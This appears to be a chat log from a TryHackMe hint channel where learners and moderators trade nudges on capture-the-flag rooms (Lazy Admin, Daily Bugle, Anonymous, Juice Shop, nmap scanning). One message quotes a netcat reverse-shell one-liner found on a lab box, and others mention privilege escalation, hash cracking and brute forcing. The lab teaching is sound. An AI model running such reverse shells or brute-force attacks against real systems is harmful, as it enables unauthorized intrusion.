I think you need help for this one you don't need hints

[unreal lake]

OK thanks

[trim haven]

@unreal lake What's your issue..???

[white salmon]

@unreal lake "What is the name of the column on the far left side of the console that shows up next to 'Name'?"

[unreal lake]

I got it, I just brain farted.

Thanks for your time guys

[white salmon]

@unreal lake think i got caught out on it also 😉

[unreal lake]

Over thinking the question haha

[hazy lodge]

hey guys I am doing Lazy Admin challenge. I need to elevate privileges for the root account but I am ```$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Can you guys give me a hint
in addition to the creds I have a backup file on another account's home folder.
```#!/usr/bin/perl
system("sh", "/etc/copy.sh"); #it is another reverse shell
---------
#copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f
``````ps aux | grep mysql
mysql      954  0.0 10.8 546408 47248 ?        Ssl  12:12   0:05 /usr/sbin/mysqld``` I think since mysql isn't running with root's privileges it isn't possible to elevate privileges from that

can you give me a hint

[oblique cliff]

Did you try and see if there’s credential reuse?

Or if you could overwrite the reverse shell that’s there?

[idle ruin]

need hint on anonymous flag2 anyone

[hazy lodge]

Did you try and see if there’s credential reuse?
$ cat /etc/passwd | grep rice I think that is what you mean. It outputs nothing.

I will try to connect and dump the contents of the database. I am having a technical problem atm be right back

[oblique cliff]

That’s not what I meant

Passwd file doesn’t hold any credentials so that wouldn’t find anything even if there is credential reuse

I mean just try switching users with that password and see if any of the users are using it

Did you check your Sudo permissions as well?

[white salmon]

can I get a small hint on the privilege escalation process of the "Daily Bugle" machine? currently im the "Apache" user and I've tried:
-Seeing sudo permissions (sudo -l)
-SUID files
-SGID files
-Processes/Services running (at best of my ability, as im new to linux I rarely know what is suspicious or not)
-Trying to login with the found and common passwords on the other users
-Checked the cron jobs (none sus running)
-Checked many folders for uncommon files
-Kernel known exploits

My current and only lead is the SMTP server and some hash I found on the mysql database (got the credentials from the joomla configuration file), but it feels like im chasing down the rabbit hole as none of those leads are leading nowhere.

[hazy lodge]

Did you check your Sudo permissions as well?
@oblique cliff ohhhhhhhhh I wasn't in the sudo group so I thought to myself there is no need to check for sudoers.

Thank you I got root 🙂

[oblique cliff]

Usually users aren’t in the Sudo group. But you should always check your Sudo permissions anyway 🙂

No problem

can I get a small hint on the privilege escalation process of the "Daily Bugle" machine? currently im the "Apache" user and I've tried:
-Seeing sudo permissions (sudo -l)
-SUID files
-SGID files
-Processes/Services running (at best of my ability, as im new to linux I rarely know what is suspicious or not)
-Trying to login with the found and common passwords on the other users
-Checked the cron jobs (none sus running)
-Checked many folders for uncommon files
-Kernel known exploits

My current and only lead is the SMTP server and some hash I found on the mysql database (got the credentials from the joomla configuration file), but it feels like im chasing down the rabbit hole as none of those leads are leading nowhere.
@white salmon heya did you try to crack that hash?

[white salmon]

I did

[oblique cliff]

Thank you for the detailed message of what you tried 🙂

Were you able?

[white salmon]

no

tried with hashcat

I know its a Mysql5 hash

Im gonna try again in case I messed the command

[oblique cliff]

Look over your linpeas output more closely

@white salmon

[lucid crescent]

Can someone dm me for anonymous playground i need some help for python script and i’m not sure what i should do

[white salmon]

Ok thanks I'll do that @oblique cliff

(I was actually doing that rn for the 3rd time kek)

[oblique cliff]

There should be interesting stuff there

[trail compass]

i feel really stupid right now, have all answers for googledorking room, except for Task2 Question1 about crawlers, any hint on that lol

[oblique cliff]

If I remember correctly the answer is in the blurb in the beginning of the task

[trail compass]

ah lol found the one word i had not tested yet 🙂

[wind fog]

hey guys

I'm currently on the Owasp Juice Shop Room

I just got to Task 5, and I have no clue how to solve it

I know I could look for the answer online, but I was hoping to first get some hints before I try that

I am quite a beginner, so sorry if the answer is easy, but I have no clue on how to go about doing this.

[white salmon]

@wind fog the hard part of that question is finding jim identity

[wind fog]

Yeah, who is Jim though, we're never told anything about him

no email, no nothing

[white salmon]

the difficulty of finding his identity depends if u watched movies like star wars, star trek...

[astral smelt]

IIRC don't you have to use LFI for that task?

[wind fog]

Star trek? What's that got to do with this?

[white salmon]

¯_(ツ)_/¯

[wind fog]

hmmmm 🤔

Any hint on how to start though?

[white salmon]

research everything jim posted then relate to my hints

[wind fog]

And what's his email? How do I find that?

[astral smelt]

you need to enumerate the database

[white salmon]

you dont have to go that hard to find jim identity just read the comments on the articles posted

[wind fog]

ermmm

enumerate the database?

[astral smelt]

oh wait that bit might come later but you have to look around for info on Jim

[wind fog]

yes christ

I tried looking at a walkthrough online

what the hell is any of this stuff?

the difficulty went from 0 to 100 in about 1 task

[astral smelt]

Yea this room is kinda difficult

[white salmon]

tbh finding jim identity hasnt to do with technical skills

but with research skills

[wind fog]

wdym, like on google?

[white salmon]

yes

[wind fog]

or can I find it on their site?

[white salmon]

if you saw jim comments and related it to star trek

all you had to do was

search

"jim star trek"

[wind fog]

what jim comments are you referring to?

[white salmon]

on the articles

[wind fog]

articles?

[white salmon]

click on a product

there was an even more evident way thought the administration page, which pointed jim address to some place on another planet

[wind fog]

ah, thanks for the hint dude

let me take a look

[white salmon]

okay, I am stuck on hackpark, task 4 question 3, ( i have completed the whole box flags in all ) however the phrasing on : abnormal Service : is screwing with me

ive tried putting this in every way i can think of and its not accepting it. am i missing something obvious

[keen willow]

need nudge on Anon Playground v2, found ||hidden webdirectory|| now, enumerate, bruteforce ?

[stuck fractal]

You want the name as returned by sc query @white salmon

EXE name != Service name

[verbal wedge]

@keen willow What are you brute forcing

[white salmon]

oh god dammit

lol

[verbal wedge]

???

[white salmon]

sorry my b

[keen willow]

@keen willow What are you brute forcing
@verbal wedge nothing, but asking to, maybe ||ssh with potential users (operatives)||.

[verbal wedge]

good idea

[stuck fractal]

@white salmon Don't use that word here, it's a slur.

@wind fog Please change your username to something more appropriate for an educational environment.

[keen willow]

good idea
@verbal wedge really ? they are 20 and what dict to use rockyou ? god my pc would kill me/

[wind fog]

alright

name changed

[white salmon]

@white salmon Don't use that word here, it's a slur.,
lesson learned, I apologize just re-read through the rules. Ill be more cautious next time.

[stuck fractal]

Thanks

[mint parcel]

Can i have a hint too on Anon Playground v2? Been thinking of a lot of patterns that makes "zA->a" work but no luck yet...

[gritty pond]

Hi @steady stratus I am doing malstrings room , I have completed all but Task2 #1 & #2 can you please give a hint , Thanks

[keen willow]

Can i have a hint too on Anon Playground v2? Been thinking of a lot of patterns that makes "zA->a" work but no luck yet...
@mint parcel you got initial foothold ?

[mint parcel]

@keen willow not yet

[verbal wedge]

Hehehehe

Spooky is so evil

[keen willow]

@keen willow not yet
@mint parcel i am right behind you, i guess.

🙂

[mint parcel]

yeah lol, already 3h thinking about this translation

[verbal wedge]

Good luck!

[mint parcel]

"Try harder" i guess 😆

[verbal wedge]

You got this

[steady stratus]

Strings are values such as text, there's a lot of gibberish like @.data or SVWP like in the screenshot

Look for values that form words and sentances @gritty pond

[fluid flint]

any hint on Anonymous. i got Secret string. Any help what to do with it and next. Tried some replacement but not working

[white salmon]

"Try harder" i guess 😆
@mint parcel Can you see a pattern in both the strings , ||lowercaseUppercaselowercaseUppercase................. ||

[mint parcel]

@white salmon i think i've got it lol... this pattern was pretty obvious, but what to do with it... that's the trick

[white salmon]

@white salmon i think i've got it lol... this pattern was pretty obvious, but what to do with it... that's the trick
@mint parcel play with it now then

[verbal wedge]

Think of each lowercaseUppercase as a pair

Best hint I can give

[mint parcel]

@keen willow gave a good hint too up in the chat 😄

[verbal wedge]

Good luck all

Hope you're enjoying it

[oblique cliff]

Oooo room maker giving out hints 👀👀

[verbal wedge]

Yeet

[oblique cliff]

No hints unless room maker says it ok

[stone oyster]

I'd like a hint on the Blue room Task 4: Cracking. I'm curious what in the pw hash would specify it as a particular hash format. I went to md5hashing.net and used all and it found none. I was stepping thru each one. I deleted the Jon part of it, but now... ?

[stuck fractal]

Context

You got it from Windows, windows passwords are hashes using a specific algorithm

[stone oyster]

It seems to me that Admin:500 is a user and id#. So Guest:501 and Jon:1000 are as well. So the hash begins with the : or after?

[stuck fractal]

The hashes are all the hex

[stone oyster]

I searched for windows hashing algorithm and it says md4

[stuck fractal]

It's not MD4

It's based on MD4

[stone oyster]

oh...goody

[stuck fractal]

But it's not MD4

[stone oyster]

ok

ty

[stuck fractal]

There's two of them, one of the hashes is normally blank though

[toxic scarab]

the : is the separator for different fields in the hash dump

[stuck fractal]

windows hashing algorithm into google

Will give you the answers

[white pike]

Could need a hint for the ||bof|| part on Anonymous. Got the bof working, but the ||setuid|| to id ||1337|| doesn't work, because the partition is mounted with ||nosuid||
So I got no permission 🤔

[white salmon]

I guess you gotta keep the shell alive

||with (cat payload.txt; cat) | ./binary||

[white pike]

Tried it, doesn't work for me.
strace output line: ||setuid(1337) = -1 EPERM (Operation not permitted)||
the ||suid|| of the binary is dropped at the start : /

[white salmon]

Another ||migitation I had to use was not to use the address of start of the function but the next address in the function. Idk why it worked but it did, probably because of bad characters.|| Someone smarter then can tell why it works.

[keen willow]

@mint parcel Can you see a pattern in both the strings , ||lowercaseUppercaselowercaseUppercase................. ||
@white salmon both the strings

[white salmon]

@white salmon both the strings
@keen willow ||string1::string2||

[real rock]

Hello, I am new to TryHackMe. I am at Task3 #6. DarkStar7471 has a video that shows the answers but I can't get the nmap vulnerability scripts to work properly. vulscan not at all, vulners I get some output but nothing that would give me the answer, vuln doesnt give me the output it does in the video even with the same input.

I am not sure what I am doing wrong. If someone wouldn't mind helping I would greatly appreciate it.

Task 3 #6 Nmap

[stuck fractal]

Screenshots?

[real rock]

Sure, one moment

[fluid flint]

@keen willow pattern is co0l.. Got it!!!

[real rock]

vunlscan

[stuck fractal]

I am at Task3 #6 So this is kind of vague

There's lots of rooms

And many of those have a task 3 question 6

[real rock]

Task 3 #6 Nmap
@real rock

[stuck fractal]

Just do a general vuln scan

[real rock]

Thats what I get with vuln

I typed it letter for letter as DarkStar does but our outputs differ

[stuck fractal]

Why did you put rpnmap.nmap there?

[real rock]

Thats what he does.... to output it to a file that can be reference later

Ill do it again with that portion

without*

[stuck fractal]

But there's nothing telling nmap to put it into a file there, that's the issue

[real rock]

Ohhhhhh

-oN

Maybe thats why it isnt working

[oblique shuttle]

hi all.. if I have a salt and a hash... how do i use john to bruteforce with a dict? Do i need to combine the salt and hash into one file? How do I know which format to use?

[stuck fractal]

I know for a fact you can find that answer on google

[oblique shuttle]

yea i've been looking and tried what I found but got no joy with JTR

[stuck fractal]

@oblique shuttle https://github.com/magnumripper/JohnTheRipper/issues/2125

[real rock]

So I can trying to troubleshoot it still... I am noticing differences trying a verbose scan to see if I can see more on what might be going wrong?

[stuck fractal]

I can't work out why that ends in a question mark. What's the question?

[real rock]

Lol syntax is wrong

.

[median compass]

are you using kali @real rock?

[real rock]

kali VM

yes

So I got this once...

[stuck fractal]

oh god

You're scanning a box on the internet

[real rock]

Was I not supposed to?

[verbal wedge]

Wee woo wee woo

[stuck fractal]

You were meant to scan the machine that you deployed in the room

[real rock]

...

[verbal wedge]

Police are coming to get you now

Better fry it all

[median compass]

lol be nice

[verbal wedge]

I'm kidding lol

But yeah what Ninja said

[stuck fractal]

...
@real rock Port scanning machines over the internet is still a grey area. If you make anything fall over from it, it's definitely illegal. This is why you need to be careful.

[median compass]

the -oN is important in that command @real rock, not having it changed the filename into a host name

it's a simple mistake to make, probably good that the file name wasn't fbi.gov though 🙂

[real rock]

Oh wait... did I scan an IP then send it to a IP address?

the scan data*

[median compass]

no, what you did was tell nmap to scan 2 hosts

[stuck fractal]

Oh wait... did I scan an IP then send it to a IP address?
@real rock No, you scanned

[median compass]

the one you wanted, 10.10.X.Y and the one that James just highlighted

[real rock]

Gotcha

I see now

Wow... I guess you all know Im a noob now

[median compass]

leaving out the -oN meant nmap assumed everything at the end was a target

we were all noobs once

[real rock]

😆

[median compass]

but it's a good lesson to learn if you learn from it, parameters are important 🙂

[real rock]

Yes very true, some things just clicked

just now

[median compass]

have a look in /usr/share/nmap/scripts

[real rock]

ls

oops

[median compass]

all the scripts that nmap can use are in there

so the --script is telling nmap to run a selection of these

[real rock]

So I need to use one of these by typing it in exactly?

after script

[median compass]

exactly, so if for example you wanted to run all the smb related scripts you could do --script smb-*

[stuck fractal]

I'll give you a hint

It's a HTTP vuln and port 80

[real rock]

Gotcha... so when I ended up looking online and saw a script it was correct for that person but not my scripts... so in the future when I research I can use the script for syntax purposes but I might need to change where the script is pointing to based on my library?

so vuln worked for them but I noticed I dont have that in my scripts

[median compass]

no, not exactly, vuln is a little different, it runs all the scripts that have that keyword in them, like a wildcard

so the syntax is fine

[real rock]

oh ok

[median compass]

if you run the command like Dark did in the video you should get the same result

nmap -A -T5 -sV --script vuln -oN rpnmap.nmap 10.10.x.y

just don't leave any of it out till you understand all of it

[real rock]

Ok, now that I have been straightened out... 😛

Does it mean something if it gets stuck on NSE Timing: About 98.89% done; ETC 15:31 (0:00:01 remaining) indefinitely?

This was my first issue before I start changing things trying to get it to work

started*

[white salmon]

The timer isn't always 100% accurate

[real rock]

I looked online and it says to press "d" for debugging mode but that really doesnt help

[median compass]

that usually means that one of the scripts that is running has gotten stuck waiting on a response or that something has broken/timed out somewhere - i've gotten it once or twice, usually it just means finding the 'bad' script and leaving it out

[real rock]

Ok

[stuck fractal]

Nmap script scans take forever

[median compass]

well the 'd' would be how you find out what's stuck

but yeah, some scans can take longer than you think they will

[real rock]

Gotcha, so if I am concerned that its broken d will tell me where its at (presumably what is causing the hang up) and once I know I can do look up how to leave the "bad script" out then rerun.

Otherwise wait a bit cause it can take a while.

Thank you all for all the help I know I am spitting all kinds of questions out

[median compass]

just so - for most rooms here that are designed to work for hacking learning nmap will work fine given a little time

[real rock]

I never finished DarkStar's video to the end (was trying to do it myself) just now finished it and I see his scan didn't even give him back a report to answer the last question. He said sometimes that just happens. A little annoyed I couldn't do it myself though.

Thanks I will keep working at it to become more proficient with the tool.

I have no IT experience before a few months ago. There is still so much I dont know

Then I found this site about a week ago

TryHackMe is AMAZING!

[median compass]

that's the way @real rock, keep at it and it'll come, before you know it this stuff will be easy and you'll find the next layer of tricky things to get stuck into

[wind fog]

hey lads

can someone help me with webappsec101 room?

I'm on task 4 atm, and stuck on this question

[white salmon]

Don't ask to ask, feel free to formulate your question with info as a whole and just ask it

[white salmon]

and somebody will answer you

[wind fog]

The hint is to look at a git file containing a bunch of names, but I'm unsure how this would help me.

[stuck fractal]

Use the list of names

To try and find users

[wind fog]

Am I meant to brute force the site using all the names to find a user? Or is there some other way?

[stuck fractal]

That are logged in

[white salmon]

It gives you the methods that you should try using in the task itself

[wind fog]

wdym?

[white salmon]

If it tells you that brute forcing is a method, and the hint literally gives you a list of names

what do you think?

[wind fog]

so I should try brute force it then?

alright, except how would I know which are logged in cause I would need to brute force the password to.

[white salmon]

Well, when it says "logged on" it's a bit misleading

it's really just saying "what's another existing username that you can find on the server"

You have to use your own sleuthing and enumeration skills to see if you can find it.

[wind fog]

ah, alright

[white salmon]

Like I said, the task itself already gave you some methods on how to do it.

There's a writeup if you're not sure about the method exactly.

[wind fog]

no not really, but I generally like to try before looking at writeups

[white salmon]

Well, the task itself does give you the methods, although it's just not for the same desired result (you're not bruteforcing passwords, you're bruteforcing usernames)

but you have to figure out how to do that exactly

[sick sun]

.

[stuck fractal]

@sick sun #bot-commands

[thin sorrel]

Cam anyone help with intro to x86-64 task 4 number 1 . I have analysed the binary and got the correct answers for other questions but this particular question keeps giving wrong answer

[oblique cliff]

@trim haven

You got this? 😄

[trim haven]

Oh goodness

Yeah sure

Cam anyone help with intro to x86-64 task 4 number 1 . I have analysed the binary and got the correct answers for other questions but this particular question keeps giving wrong answer
@thin sorrel what’s the question sorrry?

[thin sorrel]

Solved it thanks

[white salmon]

can anyone help me with networking task 1 6

[trim haven]

Oh awesome

[oblique cliff]

lol jabba sweating bullets

[thin sorrel]

I used the decimal @trim haven

[trim haven]

I was getting ready to @ you Bob

[thin sorrel]

Why didnt hex work tho

[oblique cliff]

I already knew the question without having to go look at what it asked haha

It just wants the answer in decimal

[white salmon]

😩

[thin sorrel]

Lol thanks @oblique cliff

[oblique cliff]

Both are right. The room just wants decimal answers

Np

[thin sorrel]

I also need help with the last task

Crackme 2

I have solved crackme 1

[white salmon]

can anyone help me with networking task1 question 6

please

[oblique cliff]

Place breakpoints and check out what it’s doing to your input @thin sorrel

No need to ask more than once @white salmon

[white salmon]

ok cool ... soory

[oblique cliff]

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

• What room you are on
• At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
• What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done
  @white salmon

[white salmon]

sorry*

[oblique cliff]

No worries

Can you answer those so I can help better?

[white salmon]

Networking
task 1

question 6

[trim haven]

What does the question say?

[oblique cliff]

Network services?

Delete that

Don’t post answers

[white salmon]

oups ... sorry i didn't want to spoil

[oblique cliff]

Have you tried googling common home network address ranges?

[white salmon]

the thing is the format for the answer don't match

[oblique cliff]

Have you tried googling common home network address ranges?
@oblique cliff

[white salmon]

of course i tried

[oblique cliff]

Doesn’t match what?

It’s not right if it doesn’t match

[white salmon]

the answer is supposed to be in 3characters. 3 characters. 1 char . 1char

[oblique cliff]

And there are many numbers that can match that

You can either brute force it or you can research and try to find an answer that fits that format

[white salmon]

hummmm if I'm allow to do that .. ok I'll try

[oblique cliff]

Allowed to do what? You can google

Don’t brute force it. ~~ I guess you can but it’ll take awhile~~

[white salmon]

brute force for the answer

[stuck fractal]

Don’t brute force it. I guess you can but it’ll take awhile
@oblique cliff Cloudflare will kill you

[white salmon]

😆

[thin sorrel]

@oblique cliff how do i continue analysis after hitting a breakpoint

[oblique cliff]

Edited 👀

The room tells you how to do that

You can also google r2 commands

Or use the ? Operator

To see how to use different commands

[white salmon]

ok never mind ... any hint for a google research?

[oblique cliff]

Have you tried googling common home network address ranges?
@oblique cliff

[white salmon]

yes I did

[oblique cliff]

You’ll find it eventually I believe in you

Try private IP address ranges

Or something along those lines

[white salmon]

the 5th question already took the only possible answer for this format .... it's a C class address so we don't have so much choice ...

for a private range

[oblique cliff]

Correct

[white salmon]

that why I'm stuck on the 6th

😭

[oblique cliff]

If the first/24 subnet is used up

What do you think the next one is?

[white salmon]

/16?

[oblique cliff]

No that changes the reserved network address length

[agile whale]

is it possible to get help with "Help Bears" yet? it appears the room has been deleted now and it has been 5 days since it was released. If it is not possible to complete the room now (due to being deleted) I want to know how close I got to solving it

[oblique cliff]

@agile whale sure what’s up

@white salmon on the same /24 what’s the next subnet after the first one is used up?

[stuck fractal]

is it possible to get help with "Help Bears" yet? it appears the room has been deleted now and it has been 5 days since it was released. If it is not possible to complete the room now (due to being deleted) I want to know how close I got to solving it
@agile whale It's been made private, rather than deleted

[agile whale]

do I need to worry about giving spoilers away with the room?

[stuck fractal]

Not really IMO

Don't spoil for no reason, but you can say whatever

[white salmon]

let me googling that ...i'm coming

[thin sorrel]

@oblique cliff after adding break points and examining the variables i noticed it added s3*****d to the password

I'm lost from there

[oblique cliff]

No it doesn’t

Put a password you know like aaaa and see what happens to it

[thin sorrel]

Okay

Thanks

[oblique cliff]

Sure thing

[agile whale]

@stuck fractal OK. the first first 2 flags where easy, I decoded them , then got stuck on the last flag. after some google foo, I found out the bears where doing the rootme webclient (questions where identical, not even changed from messages French to English) but this event did not have a 25char flag, then after a day discarded that the first flags linked to the last flag, did stego on the room description found 2 more passwords, but the password I have left is one 8char long but the flag is 25char long. not sure where to use the flag. Have tried using the flag format to create 2 more passwords but it comes to about 22char which is still too short for the last flag, I kinda feel like I am just guessing ant that there is some info somewhere that I am missing

[stuck fractal]

So, there's more to the text file than what you can see

[oblique cliff]

James did everyone who did that room get the points removed?

[stuck fractal]

Probably, as it was made private

[agile whale]

I have opened then in hex editors and binwalk, there is nothing hidden for me, have even checked for ADS

[stuck fractal]

Zero width

[agile whale]

Hmmm i do get them

[stuck fractal]

I have a tool link

I'll drop it out of context in #resources

The link has absolutely zero relation to the room

Don't worry

[white salmon]

OK I'm fed up ... I can't find an answer for this question ... what did I miss?
I've been on this one question for 2 hours, I've finished everything else ... it's discouraging

[stuck fractal]

You know what range it belongs to

And you know 192.168.0.0/24 only changes the last octet

There's 254 or so other address ranges there

[white salmon]

ok ... ???

[stuck fractal]

So

Find some

[white salmon]

how to delete

.... never mind ... I still don't get it

if i change anything it will not be private anymore

[stuck fractal]

False.

Look at RFC1918

[white salmon]

..... coming ...................

[agile whale]

James, I have just rechecked the files I have and do not see anything hidden in the text, no unprintable characters. I can't re-download the source files to double check them, but these are the ones I have, shouldn't I be able to see unprintable/zero width characters in a hex editor?